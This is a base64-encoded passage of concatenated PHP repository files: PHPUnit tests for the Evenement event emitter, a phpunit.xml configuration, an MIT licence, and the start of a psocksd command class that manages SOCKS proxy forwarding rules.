tZW50cygpCiAgICB7CiAgICAgICAgJGxpc3RlbmVyQ2FsbGVkID0gZmFsc2U7CgogICAgICAgICR0aGlzLT5lbWl0dGVyLT5vbignZm9vJywgZnVuY3Rpb24gKCkgdXNlICgmJGxpc3RlbmVyQ2FsbGVkKSB7CiAgICAgICAgICAgICRsaXN0ZW5lckNhbGxlZCA9IHRydWU7CiAgICAgICAgfSk7CgogICAgICAgICR0aGlzLT5hc3NlcnRTYW1lKGZhbHNlLCAkbGlzdGVuZXJDYWxsZWQpOwogICAgICAgICR0aGlzLT5lbWl0dGVyLT5lbWl0KCdmb28nKTsKICAgICAgICAkdGhpcy0+YXNzZXJ0U2FtZSh0cnVlLCAkbGlzdGVuZXJDYWxsZWQpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXN0RW1pdFdpdGhPbmVBcmd1bWVudCgpCiAgICB7CiAgICAgICAgJHRlc3QgPSAkdGhpczsKCiAgICAgICAgJGxpc3RlbmVyQ2FsbGVkID0gZmFsc2U7CgogICAgICAgICR0aGlzLT5lbWl0dGVyLT5vbignZm9vJywgZnVuY3Rpb24gKCR2YWx1ZSkgdXNlICgmJGxpc3RlbmVyQ2FsbGVkLCAkdGVzdCkgewogICAgICAgICAgICAkbGlzdGVuZXJDYWxsZWQgPSB0cnVlOwoKICAgICAgICAgICAgJHRlc3QtPmFzc2VydFNhbWUoJ2JhcicsICR2YWx1ZSk7CiAgICAgICAgfSk7CgogICAgICAgICR0aGlzLT5hc3NlcnRTYW1lKGZhbHNlLCAkbGlzdGVuZXJDYWxsZWQpOwogICAgICAgICR0aGlzLT5lbWl0dGVyLT5lbWl0KCdmb28nLCBhcnJheSgnYmFyJykpOwogICAgICAgICR0aGlzLT5hc3NlcnRTYW1lKHRydWUsICRsaXN0ZW5lckNhbGxlZCk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RFbWl0V2l0aFR3b0FyZ3VtZW50cygpCiAgICB7CiAgICAgICAgJHRlc3QgPSAkdGhpczsKCiAgICAgICAgJGxpc3RlbmVyQ2FsbGVkID0gZmFsc2U7CgogICAgICAgICR0aGlzLT5lbWl0dGVyLT5vbignZm9vJywgZnVuY3Rpb24gKCRhcmcxLCAkYXJnMikgdXNlICgmJGxpc3RlbmVyQ2FsbGVkLCAkdGVzdCkgewogICAgICAgICAgICAkbGlzdGVuZXJDYWxsZWQgPSB0cnVlOwoKICAgICAgICAgICAgJHRlc3QtPmFzc2VydFNhbWUoJ2JhcicsICRhcmcxKTsKICAgICAgICAgICAgJHRlc3QtPmFzc2VydFNhbWUoJ2JheicsICRhcmcyKTsKICAgICAgICB9KTsKCiAgICAgICAgJHRoaXMtPmFzc2VydFNhbWUoZmFsc2UsICRsaXN0ZW5lckNhbGxlZCk7CiAgICAgICAgJHRoaXMtPmVtaXR0ZXItPmVtaXQoJ2ZvbycsIGFycmF5KCdiYXInLCAnYmF6JykpOwogICAgICAgICR0aGlzLT5hc3NlcnRTYW1lKHRydWUsICRsaXN0ZW5lckNhbGxlZCk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RFbWl0V2l0aE5vTGlzdGVuZXJzKCkKICAgIHsKICAgICAgICAkdGhpcy0+ZW1pdHRlci0+ZW1pdCgnZm9vJyk7CiAgICAgICAgJHRoaXMtPmVtaXR0ZXItPmVtaXQoJ2ZvbycsIGFycmF5KCdiYXInKSk7CiAgICAgICAgJHRoaXMtPmVtaXR0ZXItPmVtaXQoJ2ZvbycsIGFycmF5KCdiYXInLCAnYmF6JykpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXN0RW1pdFdpdGhUd29MaXN0ZW5lcnMoKQogICAgewogICAgICAgICRsaXN0ZW5lcnNDYWxsZWQgPSAwOwoKICAgICAgICAkdGhpcy0+ZW1pdHRlci0+b24oJ2ZvbycsIGZ1bmN0aW9uICgpIHVzZSAoJiRsaXN0ZW5lcnNDYWxsZWQpIHsKICAgICAgICAgICAgJGxpc3RlbmVyc0NhbGxlZCsrOwogICAgICAgIH0pOwoKICAgICAgICAkdGhpcy0+ZW1pdHRlci0+b24oJ2ZvbycsIGZ1bmN0aW9uICgpIHVzZSAoJiRsaXN0ZW5lcnNDYWxsZWQpIHsKICAgICAgICAgICAgJGxpc3RlbmVyc0NhbGxlZCsrOwogICAgICAgIH0pOwoKICAgICAgICAkdGhpcy0+YXNzZXJ0U2FtZSgwLCAkbGlzdGVuZXJzQ2FsbGVkKTsKICAgICAgICAkdGhpcy0+ZW1pdHRlci0+ZW1pdCgnZm9vJyk7CiAgICAgICAgJHRoaXMtPmFzc2VydFNhbWUoMiwgJGxpc3RlbmVyc0NhbGxlZCk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RSZW1vdmVMaXN0ZW5lck1hdGNoaW5nKCkKICAgIHsKICAgICAgICAkbGlzdGVuZXJzQ2FsbGVkID0gMDsKCiAgICAgICAgJGxpc3RlbmVyID0gZnVuY3Rpb24gKCkgdXNlICgmJGxpc3RlbmVyc0NhbGxlZCkgewogICAgICAgICAgICAkbGlzdGVuZXJzQ2FsbGVkKys7CiAgICAgICAgfTsKCiAgICAgICAgJHRoaXMtPmVtaXR0ZXItPm9uKCdmb28nLCAkbGlzdGVuZXIpOwogICAgICAgICR0aGlzLT5lbWl0dGVyLT5yZW1vdmVMaXN0ZW5lcignZm9vJywgJGxpc3RlbmVyKTsKCiAgICAgICAgJHRoaXMtPmFzc2VydFNhbWUoMCwgJGxpc3RlbmVyc0NhbGxlZCk7CiAgICAgICAgJHRoaXMtPmVtaXR0ZXItPmVtaXQoJ2ZvbycpOwogICAgICAgICR0aGlzLT5hc3NlcnRTYW1lKDAsICRsaXN0ZW5lcnNDYWxsZWQpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXN0UmVtb3ZlTGlzdGVuZXJOb3RNYXRjaGluZygpCiAgICB7CiAgICAgICAgJGxpc3RlbmVyc0NhbGxlZCA9IDA7CgogICAgICAgICRsaXN0ZW5lciA9IGZ1bmN0aW9uICgpIHVzZSAoJiRsaXN0ZW5lcnNDYWxsZWQpIHsKICAgICAgICAgICAgJGxpc3RlbmVyc0NhbGxlZCsrOwogICAgICAgIH07CgogICAgICAgICR0aGlzLT5lbWl0dGVyLT5vbignZm9vJywgJGxpc3RlbmVyKTsKICAgICAgICAkdGhpcy0+ZW1pdHRlci0+cmVtb3ZlTGlzdGVuZXIoJ2JhcicsICRsaXN0ZW5lcik7CgogICAgICAgICR0aGlzLT5hc3NlcnRTYW1lKDAsICRsaXN0ZW5lcnNDYWxsZWQpOwogICAgICAgICR0aGlzLT5lbWl0dGVyLT5lbWl0KCdmb28nKTsKICAgICAgICAkdGhpcy0+YXNzZXJ0U2FtZSgxLCAkbGlzdGVuZXJzQ2FsbGVkKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdFJlbW92ZUFsbExpc3RlbmVyc01hdGNoaW5nKCkKICAgIHsKICAgICAgICAkbGlzdGVuZXJzQ2FsbGVkID0gMDsKCiAgICAgICAgJHRoaXMtPmVtaXR0ZXItPm9uKCdmb28nLCBmdW5jdGlvbiAoKSB1c2UgKCYkbGlzdGVuZXJzQ2FsbGVkKSB7CiAgICAgICAgICAgICRsaXN0ZW5lcnNDYWxsZWQrKzsKICAgICAgICB9KTsKCiAgICAgICAgJHRoaXMtPmVtaXR0ZXItPnJlbW92ZUFsbExpc3RlbmVycygnZm9vJyk7CgogICAgICAgICR0aGlzLT5hc3NlcnRTYW1lKDAsICRsaXN0ZW5lcnNDYWxsZWQpOwogICAgICAgICR0aGlzLT5lbWl0dGVyLT5lbWl0KCdmb28nKTsKICAgICAgICAkdGhpcy0+YXNzZXJ0U2FtZSgwLCAkbGlzdGVuZXJzQ2FsbGVkKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdFJlbW92ZUFsbExpc3RlbmVyc05vdE1hdGNoaW5nKCkKICAgIHsKICAgICAgICAkbGlzdGVuZXJzQ2FsbGVkID0gMDsKCiAgICAgICAgJHRoaXMtPmVtaXR0ZXItPm9uKCdmb28nLCBmdW5jdGlvbiAoKSB1c2UgKCYkbGlzdGVuZXJzQ2FsbGVkKSB7CiAgICAgICAgICAgICRsaXN0ZW5lcnNDYWxsZWQrKzsKICAgICAgICB9KTsKCiAgICAgICAgJHRoaXMtPmVtaXR0ZXItPnJlbW92ZUFsbExpc3RlbmVycygnYmFyJyk7CgogICAgICAgICR0aGlzLT5hc3NlcnRTYW1lKDAsICRsaXN0ZW5lcnNDYWxsZWQpOwogICAgICAgICR0aGlzLT5lbWl0dGVyLT5lbWl0KCdmb28nKTsKICAgICAgICAkdGhpcy0+YXNzZXJ0U2FtZSgxLCAkbGlzdGVuZXJzQ2FsbGVkKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdFJlbW92ZUFsbExpc3RlbmVyc1dpdGhvdXRBcmd1bWVudHMoKQogICAgewogICAgICAgICRsaXN0ZW5lcnNDYWxsZWQgPSAwOwoKICAgICAgICAkdGhpcy0+ZW1pdHRlci0+b24oJ2ZvbycsIGZ1bmN0aW9uICgpIHVzZSAoJiRsaXN0ZW5lcnNDYWxsZWQpIHsKICAgICAgICAgICAgJGxpc3RlbmVyc0NhbGxlZCsrOwogICAgICAgIH0pOwoKICAgICAgICAkdGhpcy0+ZW1pdHRlci0+b24oJ2JhcicsIGZ1bmN0aW9uICgpIHVzZSAoJiRsaXN0ZW5lcnNDYWxsZWQpIHsKICAgICAgICAgICAgJGxpc3RlbmVyc0NhbGxlZCsrOwogICAgICAgIH0pOwoKICAgICAgICAkdGhpcy0+ZW1pdHRlci0+cmVtb3ZlQWxsTGlzdGVuZXJzKCk7CgogICAgICAgICR0aGlzLT5hc3NlcnRTYW1lKDAsICRsaXN0ZW5lcnNDYWxsZWQpOwogICAgICAgICR0aGlzLT5lbWl0dGVyLT5lbWl0KCdmb28nKTsKICAgICAgICAkdGhpcy0+ZW1pdHRlci0+ZW1pdCgnYmFyJyk7CiAgICAgICAgJHRoaXMtPmFzc2VydFNhbWUoMCwgJGxpc3RlbmVyc0NhbGxlZCk7CiAgICB9Cn0KPD9waHAKCi8qCiAqIFRoaXMgZmlsZSBpcyBwYXJ0IG9mIEV2ZW5lbWVudC4KICoKICogQ29weXJpZ2h0IChjKSAyMDExIElnb3IgV2llZGxlcgogKgogKiBQZXJtaXNzaW9uIGlzIGhlcmVieSBncmFudGVkLCBmcmVlIG9mIGNoYXJnZSwgdG8gYW55IHBlcnNvbiBvYnRhaW5pbmcgYSBjb3B5CiAqIG9mIHRoaXMgc29mdHdhcmUgYW5kIGFzc29jaWF0ZWQgZG9jdW1lbnRhdGlvbiBmaWxlcyAodGhlICJTb2Z0d2FyZSIpLCB0byBkZWFsCiAqIGluIHRoZSBTb2Z0d2FyZSB3aXRob3V0IHJlc3RyaWN0aW9uLCBpbmNsdWRpbmcgd2l0aG91dCBsaW1pdGF0aW9uIHRoZSByaWdodHMKICogdG8gdXNlLCBjb3B5LCBtb2RpZnksIG1lcmdlLCBwdWJsaXNoLCBkaXN0cmlidXRlLCBzdWJsaWNlbnNlLCBhbmQvb3Igc2VsbAogKiBjb3BpZXMgb2YgdGhlIFNvZnR3YXJlLCBhbmQgdG8gcGVybWl0IHBlcnNvbnMgdG8gd2hvbSB0aGUgU29mdHdhcmUgaXMgZnVybmlzaGVkCiAqIHRvIGRvIHNvLCBzdWJqZWN0IHRvIHRoZSBmb2xsb3dpbmcgY29uZGl0aW9uczoKICoKICogVGhlIGFib3ZlIGNvcHlyaWdodCBub3RpY2UgYW5kIHRoaXMgcGVybWlzc2lvbiBub3RpY2Ugc2hhbGwgYmUgaW5jbHVkZWQgaW4gYWxsCiAqIGNvcGllcyBvciBzdWJzdGFudGlhbCBwb3J0aW9ucyBvZiB0aGUgU29mdHdhcmUuCiAqCiAqIFRIRSBTT0ZUV0FSRSBJUyBQUk9WSURFRCAiQVMgSVMiLCBXSVRIT1VUIFdBUlJBTlRZIE9GIEFOWSBLSU5ELCBFWFBSRVNTIE9SCiAqIElNUExJRUQsIElOQ0xVRElORyBCVVQgTk9UIExJTUlURUQgVE8gVEhFIFdBUlJBTlRJRVMgT0YgTUVSQ0hBTlRBQklMSVRZLAogKiBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRSBBTkQgTk9OSU5GUklOR0VNRU5ULiBJTiBOTyBFVkVOVCBTSEFMTCBUSEUKICogQVVUSE9SUyBPUiBDT1BZUklHSFQgSE9MREVSUyBCRSBMSUFCTEUgRk9SIEFOWSBDTEFJTSwgREFNQUdFUyBPUiBPVEhFUgogKiBMSUFCSUxJVFksIFdIRVRIRVIgSU4gQU4gQUNUSU9OIE9GIENPTlRSQUNULCBUT1JUIE9SIE9USEVSV0lTRSwgQVJJU0lORyBGUk9NLAogKiBPVVQgT0YgT1IgSU4gQ09OTkVDVElPTiBXSVRIIFRIRSBTT0ZUV0FSRSBPUiBUSEUgVVNFIE9SIE9USEVSIERFQUxJTkdTIElOCiAqIFRIRSBTT0ZUV0FSRS4KICovCgpuYW1lc3BhY2UgRXZlbmVtZW50XFRlc3RzOwoKdXNlIEV2ZW5lbWVudFxFdmVudEVtaXR0ZXIyOwoKY2xhc3MgRXZlbnRFbWl0dGVyMlRlc3QgZXh0ZW5kcyBcUEhQVW5pdF9GcmFtZXdvcmtfVGVzdENhc2UKewogICAgcHJpdmF0ZSAkZW1pdHRlcjsKCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0VXAoKQogICAgewogICAgICAgICR0aGlzLT5lbWl0dGVyID0gbmV3IEV2ZW50RW1pdHRlcjIoKTsKICAgIH0KCiAgICAvLyBtYXRjaGluZyB0ZXN0cyBmcm9tCiAgICAvLyB0ZXN0L3dpbGRjYXJkRXZlbnRzL2FkZExpc3RlbmVyLmpzCgogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RXaWxkY2FyZE1hdGNoaW5nNygpCiAgICB7CiAgICAgICAgJGxpc3RlbmVyQ2FsbGVkID0gMDsKCiAgICAgICAgJGxpc3RlbmVyID0gZnVuY3Rpb24gKCkgdXNlICgmJGxpc3RlbmVyQ2FsbGVkKSB7CiAgICAgICAgICAgICRsaXN0ZW5lckNhbGxlZCsrOwogICAgICAgIH07CgogICAgICAgICR0aGlzLT5lbWl0dGVyLT5vbignKi50ZXN0JywgJGxpc3RlbmVyKTsKICAgICAgICAkdGhpcy0+ZW1pdHRlci0+b24oJyouKicsICRsaXN0ZW5lcik7CiAgICAgICAgJHRoaXMtPmVtaXR0ZXItPm9uKCcqJywgJGxpc3RlbmVyKTsKCiAgICAgICAgJHRoaXMtPmVtaXR0ZXItPmVtaXQoJ290aGVyLmVtaXQnKTsKICAgICAgICAkdGhpcy0+ZW1pdHRlci0+ZW1pdCgnZm9vLnRlc3QnKTsKCiAgICAgICAgJHRoaXMtPmFzc2VydFNhbWUoMywgJGxpc3RlbmVyQ2FsbGVkKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdFdpbGRjYXJkTWF0Y2hpbmc4KCkKICAgIHsKICAgICAgICAkbGlzdGVuZXJDYWxsZWQgPSAwOwoKICAgICAgICAkbGlzdGVuZXIgPSBmdW5jdGlvbiAoKSB1c2UgKCYkbGlzdGVuZXJDYWxsZWQpIHsKICAgICAgICAgICAgJGxpc3RlbmVyQ2FsbGVkKys7CiAgICAgICAgfTsKCiAgICAgICAgJHRoaXMtPmVtaXR0ZXItPm9uKCdmb28udGVzdCcsICRsaXN0ZW5lcik7CiAgICAgICAgJHRoaXMtPmVtaXR0ZXItPm9uKCcqLionLCAkbGlzdGVuZXIpOwogICAgICAgICR0aGlzLT5lbWl0dGVyLT5vbignKicsICRsaXN0ZW5lcik7CgogICAgICAgICR0aGlzLT5lbWl0dGVyLT5lbWl0KCcqLionKTsKICAgICAgICAkdGhpcy0+ZW1pdHRlci0+ZW1pdCgnZm9vLnRlc3QnKTsKICAgICAgICAkdGhpcy0+ZW1pdHRlci0+ZW1pdCgnKicpOwoKICAgICAgICAkdGhpcy0+YXNzZXJ0U2FtZSg1LCAkbGlzdGVuZXJDYWxsZWQpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXN0T25BbnkoKQogICAgewogICAgICAgICR0aGlzLT5lbWl0dGVyLT5vbkFueShmdW5jdGlvbiAoKSB7fSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RPbkFueVdpdGhFbWl0KCkKICAgIHsKICAgICAgICAkbGlzdGVuZXJDYWxsZWQgPSAwOwoKICAgICAgICAkdGhpcy0+ZW1pdHRlci0+b25BbnkoZnVuY3Rpb24gKCkgdXNlICgmJGxpc3RlbmVyQ2FsbGVkKSB7CiAgICAgICAgICAgICRsaXN0ZW5lckNhbGxlZCsrOwogICAgICAgIH0pOwoKICAgICAgICAkdGhpcy0+YXNzZXJ0U2FtZSgwLCAkbGlzdGVuZXJDYWxsZWQpOwoKICAgICAgICAkdGhpcy0+ZW1pdHRlci0+ZW1pdCgnZm9vJyk7CgogICAgICAgICR0aGlzLT5hc3NlcnRTYW1lKDEsICRsaXN0ZW5lckNhbGxlZCk7CgogICAgICAgICR0aGlzLT5lbWl0dGVyLT5lbWl0KCdiYXInKTsKCiAgICAgICAgJHRoaXMtPmFzc2VydFNhbWUoMiwgJGxpc3RlbmVyQ2FsbGVkKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdG9mZkFueVdpdGhFbWl0KCkKICAgIHsKICAgICAgICAkbGlzdGVuZXJDYWxsZWQgPSAwOwoKICAgICAgICAkbGlzdGVuZXIgPSBmdW5jdGlvbiAoKSB1c2UgKCYkbGlzdGVuZXJDYWxsZWQpIHsKICAgICAgICAgICAgJGxpc3RlbmVyQ2FsbGVkKys7CiAgICAgICAgfTsKCiAgICAgICAgJHRoaXMtPmVtaXR0ZXItPm9uQW55KCRsaXN0ZW5lcik7CiAgICAgICAgJHRoaXMtPmVtaXR0ZXItPm9mZkFueSgkbGlzdGVuZXIpOwoKICAgICAgICAkdGhpcy0+YXNzZXJ0U2FtZSgwLCAkbGlzdGVuZXJDYWxsZWQpOwogICAgICAgICR0aGlzLT5lbWl0dGVyLT5lbWl0KCdmb28nKTsKICAgICAgICAkdGhpcy0+YXNzZXJ0U2FtZSgwLCAkbGlzdGVuZXJDYWxsZWQpOwogICAgfQoKICAgIC8qKgogICAgICogQGRhdGFQcm92aWRlciBwcm92aWRlTWFueQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdE1hbnkoJGFtb3VudCkKICAgIHsKICAgICAgICAkbGlzdGVuZXJDYWxsZWQgPSAwOwoKICAgICAgICAkdGhpcy0+ZW1pdHRlci0+bWFueSgnZm9vJywgJGFtb3VudCwgZnVuY3Rpb24gKCkgdXNlICgmJGxpc3RlbmVyQ2FsbGVkKSB7CiAgICAgICAgICAgICRsaXN0ZW5lckNhbGxlZCsrOwogICAgICAgIH0pOwoKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkYW1vdW50OyAkaSsrKSB7CiAgICAgICAgICAgICR0aGlzLT5hc3NlcnRTYW1lKCRpLCAkbGlzdGVuZXJDYWxsZWQpOwogICAgICAgICAgICAkdGhpcy0+ZW1pdHRlci0+ZW1pdCgnZm9vJyk7CiAgICAgICAgfQoKICAgICAgICAkdGhpcy0+ZW1pdHRlci0+ZW1pdCgnZm9vJyk7CiAgICAgICAgJHRoaXMtPmFzc2VydFNhbWUoJGFtb3VudCwgJGxpc3RlbmVyQ2FsbGVkKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gcHJvdmlkZU1hbnkoKQogICAgewogICAgICAgIHJldHVybiBhcnJheSgKICAgICAgICAgICAgYXJyYXkoMCksCiAgICAgICAgICAgIGFycmF5KDEpLAogICAgICAgICAgICBhcnJheSgyKSwKICAgICAgICAgICAgYXJyYXkoMyksCiAgICAgICAgICAgIGFycmF5KDQpLAogICAgICAgICAgICBhcnJheSg0MDApLAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAZXhwZWN0ZWRFeGNlcHRpb24gT3V0T2ZSYW5nZUV4Y2VwdGlvbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdE1hbnlXaXRoTGVzc1RoYW5aZXJvVHRsKCkKICAgIHsKICAgICAgICAkdGhpcy0+ZW1pdHRlci0+bWFueSgnZm9vJywgLTEsIGZ1bmN0aW9uICgpIHt9KTsKICAgICAgICAkdGhpcy0+ZW1pdHRlci0+ZW1pdCgnZm9vJyk7CiAgICB9Cn0KPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KCjxwaHB1bml0IGJhY2t1cEdsb2JhbHM9ImZhbHNlIgogICAgICAgICBiYWNrdXBTdGF0aWNBdHRyaWJ1dGVzPSJmYWxzZSIKICAgICAgICAgY29sb3JzPSJ0cnVlIgogICAgICAgICBjb252ZXJ0RXJyb3JzVG9FeGNlcHRpb25zPSJ0cnVlIgogICAgICAgICBjb252ZXJ0Tm90aWNlc1RvRXhjZXB0aW9ucz0idHJ1ZSIKICAgICAgICAgY29udmVydFdhcm5pbmdzVG9FeGNlcHRpb25zPSJ0cnVlIgogICAgICAgICBwcm9jZXNzSXNvbGF0aW9uPSJmYWxzZSIKICAgICAgICAgc3RvcE9uRmFpbHVyZT0iZmFsc2UiCiAgICAgICAgIHN5bnRheENoZWNrPSJmYWxzZSIKICAgICAgICAgYm9vdHN0cmFwPSJ0ZXN0cy9ib290c3RyYXAucGhwIgo+CiAgICA8dGVzdHN1aXRlcz4KICAgICAgICA8dGVzdHN1aXRlIG5hbWU9IkV2ZW5lbWVudCBUZXN0IFN1aXRlIj4KICAgICAgICAgICAgPGRpcmVjdG9yeT4uL3Rlc3RzL0V2ZW5lbWVudC88L2RpcmVjdG9yeT4KICAgICAgICA8L3Rlc3RzdWl0ZT4KICAgIDwvdGVzdHN1aXRlcz4KCiAgICA8ZmlsdGVyPgogICAgICAgIDx3aGl0ZWxpc3Q+CiAgICAgICAgICAgIDxkaXJlY3Rvcnk+Li9zcmMvPC9kaXJlY3Rvcnk+CiAgICAgICAgPC93aGl0ZWxpc3Q+CiAgICA8L2ZpbHRlcj4KPC9waHB1bml0PgpUaGUgTUlUIExpY2Vuc2UgKE1JVCkKCkNvcHlyaWdodCAoYykgMjAxMyBDaHJpc3RpYW4gTMO8Y2sKClBlcm1pc3Npb24gaXMgaGVyZWJ5IGdyYW50ZWQsIGZyZWUgb2YgY2hhcmdlLCB0byBhbnkgcGVyc29uIG9idGFpbmluZyBhIGNvcHkKb2YgdGhpcyBzb2Z0d2FyZSBhbmQgYXNzb2NpYXRlZCBkb2N1bWVudGF0aW9uIGZpbGVzICh0aGUgIlNvZnR3YXJlIiksIHRvIGRlYWwKaW4gdGhlIFNvZnR3YXJlIHdpdGhvdXQgcmVzdHJpY3Rpb24sIGluY2x1ZGluZyB3aXRob3V0IGxpbWl0YXRpb24gdGhlIHJpZ2h0cwp0byB1c2UsIGNvcHksIG1vZGlmeSwgbWVyZ2UsIHB1Ymxpc2gsIGRpc3RyaWJ1dGUsIHN1YmxpY2Vuc2UsIGFuZC9vciBzZWxsCmNvcGllcyBvZiB0aGUgU29mdHdhcmUsIGFuZCB0byBwZXJtaXQgcGVyc29ucyB0byB3aG9tIHRoZSBTb2Z0d2FyZSBpcyBmdXJuaXNoZWQKdG8gZG8gc28sIHN1YmplY3QgdG8gdGhlIGZvbGxvd2luZyBjb25kaXRpb25zOgoKVGhlIGFib3ZlIGNvcHlyaWdodCBub3RpY2UgYW5kIHRoaXMgcGVybWlzc2lvbiBub3RpY2Ugc2hhbGwgYmUgaW5jbHVkZWQgaW4gYWxsCmNvcGllcyBvciBzdWJzdGFudGlhbCBwb3J0aW9ucyBvZiB0aGUgU29mdHdhcmUuCgpUSEUgU09GVFdBUkUgSVMgUFJPVklERUQgIkFTIElTIiwgV0lUSE9VVCBXQVJSQU5UWSBPRiBBTlkgS0lORCwgRVhQUkVTUyBPUgpJTVBMSUVELCBJTkNMVURJTkcgQlVUIE5PVCBMSU1JVEVEIFRPIFRIRSBXQVJSQU5USUVTIE9GIE1FUkNIQU5UQUJJTElUWSwKRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UgQU5EIE5PTklORlJJTkdFTUVOVC4gSU4gTk8gRVZFTlQgU0hBTEwgVEhFCkFVVEhPUlMgT1IgQ09QWVJJR0hUIEhPTERFUlMgQkUgTElBQkxFIEZPUiBBTlkgQ0xBSU0sIERBTUFHRVMgT1IgT1RIRVIKTElBQklMSVRZLCBXSEVUSEVSIElOIEFOIEFDVElPTiBPRiBDT05UUkFDVCwgVE9SVCBPUiBPVEhFUldJU0UsIEFSSVNJTkcgRlJPTSwKT1VUIE9GIE9SIElOIENPTk5FQ1RJT04gV0lUSCBUSEUgU09GVFdBUkUgT1IgVEhFIFVTRSBPUiBPVEhFUiBERUFMSU5HUyBJTgpUSEUgU09GVFdBUkUuCjw/cGhwCgpuYW1lc3BhY2UgQ2x1ZVxQc29ja3NkXENvbW1hbmQ7Cgp1c2UgQ2x1ZVxQc29ja3NkXENvbm5lY3Rpb25NYW5hZ2VyTGFiZWxlZDsKdXNlIENsdWVcUHNvY2tzZFxBcHA7CnVzZSBSZWFjdFxTb2NrZXRDbGllbnRcQ29ubmVjdG9ySW50ZXJmYWNlOwp1c2UgXFVuZXhwZWN0ZWRWYWx1ZUV4Y2VwdGlvbjsKdXNlIFxJbnZhbGlkQXJndW1lbnRFeGNlcHRpb247CnVzZSBcRXhjZXB0aW9uOwoKY2xhc3MgVmlhIGltcGxlbWVudHMgQ29tbWFuZEludGVyZmFjZQp7CiAgICBwcm90ZWN0ZWQgJGFwcDsKCiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoQXBwICRhcHApCiAgICB7CiAgICAgICAgJHRoaXMtPmFwcCA9ICRhcHA7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGdldEhlbHAoKQogICAgewogICAgICAgIHJldHVybiAnZm9yd2FyZCBhbGwgY29ubmVjdGlvbnMgdmlhIG5leHQgU09DS1Mgc2VydmVyJzsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gcnVuKCRhcmdzKQogICAgewogICAgICAgIGlmIChjb3VudCgkYXJncykgPT09IDEgJiYgJGFyZ3NbMF0gPT09ICdsaXN0JykgewogICAgICAgICAgICAkdGhpcy0+cnVuTGlzdCgpOwogICAgICAgIH0gZWxzZSBpZiAoY291bnQoJGFyZ3MpID09PSAyICYmICRhcmdzWzBdID09PSAnZGVmYXVsdCcpIHsKICAgICAgICAgICAgJHRoaXMtPnJ1blNldERlZmF1bHQoJGFyZ3NbMV0pOwogICAgICAgIH0gZWxzZSBpZiAoY291bnQoJGFyZ3MpID09PSAyICYmICRhcmdzWzBdID09PSAncmVqZWN0JykgewogICAgICAgICAgICAkdGhpcy0+cnVuQWRkKCRhcmdzWzFdLCAncmVqZWN0JywgLTEpOwogICAgICAgIH0gZWxzZSBpZiAoKGNvdW50KCRhcmdzKSA9PT0gMyB8fCBjb3VudCgkYXJncykgPT09IDQpICYmICRhcmdzWzBdID09PSAnYWRkJykgewogICAgICAgICAgICAkdGhpcy0+cnVuQWRkKCRhcmdzWzFdLCAkYXJnc1syXSwgaXNzZXQoJGFyZ3NbM10pID8gJGFyZ3NbM10gOiAwKTsKICAgICAgICB9IGVsc2UgaWYgKGNvdW50KCRhcmdzKSA9PT0gMiAmJiAkYXJnc1swXSA9PT0gJ3JlbW92ZScpIHsKICAgICAgICAgICAgJHRoaXMtPnJ1blJlbW92ZSgkYXJnc1sxXSk7CiAgICAgICAgfSBlbHNlIGlmIChjb3VudCgkYXJncykgPT09IDEgJiYgJGFyZ3NbMF0gPT09ICdyZXNldCcpIHsKICAgICAgICAgICAgJHRoaXMtPnJ1blJlc2V0KCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAoY291bnQoJGFyZ3MpID09PSAwID8gJ25vJyA6ICdlcnJvcjogaW52YWxpZCcpIC4gJyBjb21tYW5kIGFyZ3VtZW50cyBnaXZlbi4gVmFsaWQgb3B0aW9ucyBhcmU6JyAuIFBIUF9FT0w7CgogICAgICAgICAgICAkdGhpcy0+YXBwLT5nZXRDb21tYW5kKCdoZWxwJyktPmR1bXBIZWxwKGFycmF5KAogICAgICAgICAgICAgICAgJ2xpc3QnICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9PiAnbGlzdCBhbGwgZW50cmllcycsCiAgICAgICAgICAgICAgICAnZGVmYXVsdCA8dGFyZ2V0PicgICAgICAgICAgICAgICAgID0+ICdzZXQgZ2l2ZW4gPHRhcmdldD4gc29ja3MgcHJveHkgYXMgZGVmYXVsdCB0YXJnZXQnLAogICAgICAgICAgICAgICAgJ3JlamVjdCA8aG9zdD4nICAgICAgICAgICAgICAgICAgICA9PiAncmVqZWN0IGNvbm5lY3Rpb25zIHRvIHRoZSBnaXZlbiBob3N0JywKICAgICAgICAgICAgICAgICdhZGQgPGhvc3Q+IDx0YXJnZXQ+IFs8cHJpb3JpdHk+XScgPT4gJ2FkZCBuZXcgPHRhcmdldD4gc29ja3MgcHJveHkgZm9yIGNvbm5lY3Rpb25zIHRvIGdpdmVuIDxob3N0PicsCiAgICAgICAgICAgICAgICAncmVtb3ZlIDxlbnRyeUlkPicgICAgICAgICAgICAgICAgID0+ICdlbW92ZSBlb